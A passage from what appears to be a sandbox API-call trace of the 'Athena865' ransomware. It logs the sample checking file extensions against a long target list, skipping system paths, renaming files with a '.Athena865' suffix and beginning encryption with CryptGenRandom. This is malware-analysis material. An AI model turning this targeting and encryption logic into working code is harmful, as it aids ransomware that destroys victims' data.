(lpString="fp3") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0119.599] lstrlenW (lpString="fp4") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0119.599] lstrlenW (lpString="fp5") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0119.599] lstrlenW (lpString="fp7") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0119.599] lstrlenW (lpString="fpt") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0119.599] lstrlenW (lpString="frm") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0119.599] lstrlenW (lpString="gdb") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0119.599] lstrlenW (lpString="gdb") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0119.599] lstrlenW (lpString="grdb") returned 4 [0119.599] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0119.599] lstrlenW (lpString="gwi") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0119.599] lstrlenW (lpString="hdb") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0119.599] lstrlenW (lpString="his") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0119.599] lstrlenW (lpString="ib") returned 2 [0119.599] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0119.599] lstrlenW (lpString="idb") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0119.599] lstrlenW (lpString="ihx") returned 3 [0119.599] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0119.599] lstrlenW (lpString="itdb") returned 4 [0119.599] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0119.599] lstrlenW (lpString="itw") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0119.600] lstrlenW (lpString="jet") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0119.600] lstrlenW (lpString="jtx") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0119.600] lstrlenW (lpString="kdb") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0119.600] lstrlenW (lpString="kexi") returned 4 [0119.600] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0119.600] lstrlenW (lpString="kexic") returned 5 [0119.600] lstrcmpiW (lpString1="c.png", lpString2="kexic") returned -1 [0119.600] lstrlenW (lpString="kexis") returned 5 [0119.600] lstrcmpiW (lpString1="c.png", lpString2="kexis") returned -1 [0119.600] lstrlenW (lpString="lgc") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0119.600] lstrlenW (lpString="lwx") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0119.600] lstrlenW (lpString="maf") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0119.600] lstrlenW (lpString="maq") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0119.600] lstrlenW (lpString="mar") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0119.600] lstrlenW (lpString="marshal") returned 7 [0119.600] lstrcmpiW (lpString1="hic.png", lpString2="marshal") returned -1 [0119.600] lstrlenW (lpString="mas") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0119.600] lstrlenW (lpString="mav") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0119.600] lstrlenW (lpString="maw") returned 3 [0119.600] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0119.601] lstrlenW (lpString="mdbhtml") returned 7 [0119.601] lstrcmpiW (lpString1="hic.png", lpString2="mdbhtml") returned -1 [0119.601] lstrlenW (lpString="mdn") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0119.601] lstrlenW (lpString="mdt") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0119.601] lstrlenW (lpString="mfd") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0119.601] lstrlenW (lpString="mpd") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0119.601] lstrlenW (lpString="mrg") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0119.601] lstrlenW (lpString="mud") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0119.601] lstrlenW (lpString="mwb") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0119.601] lstrlenW (lpString="myd") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0119.601] lstrlenW (lpString="ndf") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0119.601] lstrlenW (lpString="nnt") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0119.601] lstrlenW (lpString="nrmlib") returned 6 [0119.601] lstrcmpiW (lpString1="ic.png", lpString2="nrmlib") returned -1 [0119.601] lstrlenW (lpString="ns2") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0119.601] lstrlenW (lpString="ns3") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0119.601] lstrlenW (lpString="ns4") returned 3 [0119.601] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0119.602] lstrlenW (lpString="nsf") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0119.602] lstrlenW (lpString="nv") returned 2 [0119.602] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0119.602] lstrlenW (lpString="nv2") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0119.602] lstrlenW (lpString="nwdb") returned 4 [0119.602] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0119.602] lstrlenW (lpString="nyf") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0119.602] lstrlenW (lpString="odb") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0119.602] lstrlenW (lpString="odb") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0119.602] lstrlenW (lpString="oqy") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0119.602] lstrlenW (lpString="ora") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0119.602] lstrlenW (lpString="orx") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0119.602] lstrlenW (lpString="owc") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0119.602] lstrlenW (lpString="p96") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0119.602] lstrlenW (lpString="p97") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0119.602] lstrlenW (lpString="pan") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0119.602] lstrlenW (lpString="pdb") returned 3 [0119.602] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0119.603] lstrlenW (lpString="pdm") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0119.603] lstrlenW (lpString="pnz") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0119.603] lstrlenW (lpString="qry") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0119.603] lstrlenW (lpString="qvd") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0119.603] lstrlenW (lpString="rbf") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0119.603] lstrlenW (lpString="rctd") returned 4 [0119.603] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0119.603] lstrlenW (lpString="rod") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0119.603] lstrlenW (lpString="rodx") returned 4 [0119.603] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0119.603] lstrlenW (lpString="rpd") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0119.603] lstrlenW (lpString="rsd") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0119.603] lstrlenW (lpString="sas7bdat") returned 8 [0119.603] lstrcmpiW (lpString1="phic.png", lpString2="sas7bdat") returned -1 [0119.603] lstrlenW (lpString="sbf") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0119.603] lstrlenW (lpString="scx") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0119.603] lstrlenW (lpString="sdb") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0119.603] lstrlenW (lpString="sdc") returned 3 [0119.603] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0119.603] lstrlenW (lpString="sdf") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0119.604] lstrlenW (lpString="sis") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0119.604] lstrlenW (lpString="spq") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0119.604] lstrlenW (lpString="te") returned 2 [0119.604] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0119.604] lstrlenW (lpString="teacher") returned 7 [0119.604] lstrcmpiW (lpString1="hic.png", lpString2="teacher") returned -1 [0119.604] lstrlenW (lpString="tmd") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0119.604] lstrlenW (lpString="tps") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0119.604] lstrlenW (lpString="trc") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0119.604] lstrlenW (lpString="trc") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0119.604] lstrlenW (lpString="trm") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0119.604] lstrlenW (lpString="udb") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0119.604] lstrlenW (lpString="udl") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0119.604] lstrlenW (lpString="usr") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0119.604] lstrlenW (lpString="v12") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0119.604] lstrlenW (lpString="vis") returned 3 [0119.604] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0119.604] lstrlenW (lpString="vpd") returned 3 [0119.605] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0119.605] lstrlenW (lpString="vvv") returned 3 [0119.605] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0119.605] lstrlenW (lpString="wdb") returned 3 [0119.605] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0119.605] lstrlenW (lpString="wmdb") returned 4 [0119.605] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0119.605] lstrlenW (lpString="wrk") returned 3 [0119.605] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0119.605] lstrlenW (lpString="xdb") returned 3 [0119.605] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0119.605] lstrlenW (lpString="xld") returned 3 [0119.605] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0119.605] lstrlenW (lpString="xmlff") returned 5 [0119.605] lstrcmpiW (lpString1="c.png", lpString2="xmlff") returned -1 [0119.605] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.Athena865") returned 77 [0119.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.607] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.607] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30138) returned 1 [0119.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.607] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.608] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.608] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.608] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78c0, lpName=0x0) returned 0x154 [0119.610] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78c0) returned 0x100000 [0119.612] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.613] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.613] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0119.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.613] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.614] CloseHandle (hObject=0x154) returned 1 [0119.614] CloseHandle (hObject=0x17c) returned 1 [0119.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.614] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.614] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.614] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.614] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".") returned 1 [0119.614] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="..") returned 1 [0119.614] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="windows") returned -1 [0119.614] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.615] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="temp") returned -1 [0119.615] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="pagefile.sys") returned -1 [0119.615] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="boot") returned 1 [0119.615] lstrcpyW (in: lpString1=0x241e8a0, lpString2="heart_glass_Thumbnail.bmp" | out: lpString1="heart_glass_Thumbnail.bmp") returned="heart_glass_Thumbnail.bmp" [0119.615] lstrlenW (lpString="heart_glass_Thumbnail.bmp") returned 25 [0119.615] lstrlenW (lpString="Athena865") returned 9 [0119.615] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.615] lstrlenW (lpString=".dll") returned 4 [0119.615] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.615] lstrlenW (lpString=".lnk") returned 4 [0119.615] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.615] lstrlenW (lpString=".ini") returned 4 [0119.615] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.615] lstrlenW (lpString=".sys") returned 4 [0119.615] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.615] lstrlenW (lpString="heart_glass_Thumbnail.bmp") returned 25 [0119.615] lstrlenW (lpString="bak") returned 3 [0119.615] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0119.615] lstrlenW (lpString="ba_") returned 3 [0119.615] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0119.615] lstrlenW (lpString="dbb") returned 3 [0119.615] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0119.615] lstrlenW (lpString="vmdk") returned 4 [0119.615] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0119.616] lstrlenW (lpString="rar") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0119.616] lstrlenW (lpString="zip") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0119.616] lstrlenW (lpString="tgz") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0119.616] lstrlenW (lpString="vbox") returned 4 [0119.616] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0119.616] lstrlenW (lpString="vdi") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0119.616] lstrlenW (lpString="vhd") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0119.616] lstrlenW (lpString="vhdx") returned 4 [0119.616] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0119.616] lstrlenW (lpString="avhd") returned 4 [0119.616] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0119.616] lstrlenW (lpString="db") returned 2 [0119.616] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0119.616] lstrlenW (lpString="db2") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0119.616] lstrlenW (lpString="db3") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0119.616] lstrlenW (lpString="dbf") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0119.616] lstrlenW (lpString="mdf") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0119.616] lstrlenW (lpString="mdb") returned 3 [0119.616] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0119.616] lstrlenW (lpString="sql") returned 3 [0119.617] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0119.617] lstrlenW (lpString="sqlite") returned 6 [0119.617] lstrcmpiW (lpString1="il.bmp", lpString2="sqlite") returned -1 [0119.617] lstrlenW (lpString="sqlite3") returned 7 [0119.617] lstrcmpiW (lpString1="ail.bmp", lpString2="sqlite3") returned -1 [0119.617] lstrlenW (lpString="sqlitedb") returned 8 [0119.617] lstrcmpiW (lpString1="nail.bmp", lpString2="sqlitedb") returned -1 [0119.617] lstrlenW (lpString="xml") returned 3 [0119.617] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0119.617] lstrlenW (lpString="$er") returned 3 [0119.617] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0119.617] lstrlenW (lpString="4dd") returned 3 [0119.617] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0119.617] lstrlenW (lpString="4dl") returned 3 [0119.617] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0119.617] lstrlenW (lpString="^^^") returned 3 [0119.617] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0119.617] lstrlenW (lpString="abs") returned 3 [0119.617] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0119.617] lstrlenW (lpString="abx") returned 3 [0119.617] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0119.617] lstrlenW (lpString="accdb") returned 5 [0119.617] lstrcmpiW (lpString1="l.bmp", lpString2="accdb") returned 1 [0119.617] lstrlenW (lpString="accdc") returned 5 [0119.617] lstrcmpiW (lpString1="l.bmp", lpString2="accdc") returned 1 [0119.617] lstrlenW (lpString="accde") returned 5 [0119.617] lstrcmpiW (lpString1="l.bmp", lpString2="accde") returned 1 [0119.617] lstrlenW (lpString="accdr") returned 5 [0119.617] lstrcmpiW (lpString1="l.bmp", lpString2="accdr") returned 1 [0119.618] lstrlenW (lpString="accdt") returned 5 [0119.618] lstrcmpiW (lpString1="l.bmp", lpString2="accdt") returned 1 [0119.618] lstrlenW (lpString="accdw") returned 5 [0119.618] lstrcmpiW (lpString1="l.bmp", lpString2="accdw") returned 1 [0119.618] lstrlenW (lpString="accft") returned 5 [0119.618] lstrcmpiW (lpString1="l.bmp", lpString2="accft") returned 1 [0119.618] lstrlenW (lpString="adb") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0119.618] lstrlenW (lpString="adb") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0119.618] lstrlenW (lpString="ade") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0119.618] lstrlenW (lpString="adf") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0119.618] lstrlenW (lpString="adn") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0119.618] lstrlenW (lpString="adp") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0119.618] lstrlenW (lpString="alf") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0119.618] lstrlenW (lpString="ask") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0119.618] lstrlenW (lpString="btr") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0119.618] lstrlenW (lpString="cat") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0119.618] lstrlenW (lpString="cdb") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0119.618] lstrlenW (lpString="ckp") returned 3 [0119.618] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0119.619] lstrlenW (lpString="cma") returned 3 [0119.619] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0119.619] lstrlenW (lpString="cpd") returned 3 [0119.619] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0119.619] lstrlenW (lpString="dacpac") returned 6 [0119.619] lstrcmpiW (lpString1="il.bmp", lpString2="dacpac") returned 1 [0119.619] lstrlenW (lpString="dad") returned 3 [0119.619] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0119.619] lstrlenW (lpString="dadiagrams") returned 10 [0119.619] lstrcmpiW (lpString1="mbnail.bmp", lpString2="dadiagrams") returned 1 [0119.619] lstrlenW (lpString="daschema") returned 8 [0119.619] lstrcmpiW (lpString1="nail.bmp", lpString2="daschema") returned 1 [0119.619] lstrlenW (lpString="db-journal") returned 10 [0119.619] lstrcmpiW (lpString1="mbnail.bmp", lpString2="db-journal") returned 1 [0119.619] lstrlenW (lpString="db-shm") returned 6 [0119.619] lstrcmpiW (lpString1="il.bmp", lpString2="db-shm") returned 1 [0119.619] lstrlenW (lpString="db-wal") returned 6 [0119.619] lstrcmpiW (lpString1="il.bmp", lpString2="db-wal") returned 1 [0119.619] lstrlenW (lpString="dbc") returned 3 [0119.619] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0119.619] lstrlenW (lpString="dbs") returned 3 [0119.619] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0119.619] lstrlenW (lpString="dbt") returned 3 [0119.619] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0119.619] lstrlenW (lpString="dbv") returned 3 [0119.619] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0119.619] lstrlenW (lpString="dbx") returned 3 [0119.619] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0119.619] lstrlenW (lpString="dcb") returned 3 [0119.619] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0119.620] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.Athena865") returned 79 [0119.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.620] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.621] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.621] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.622] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.622] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.622] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, 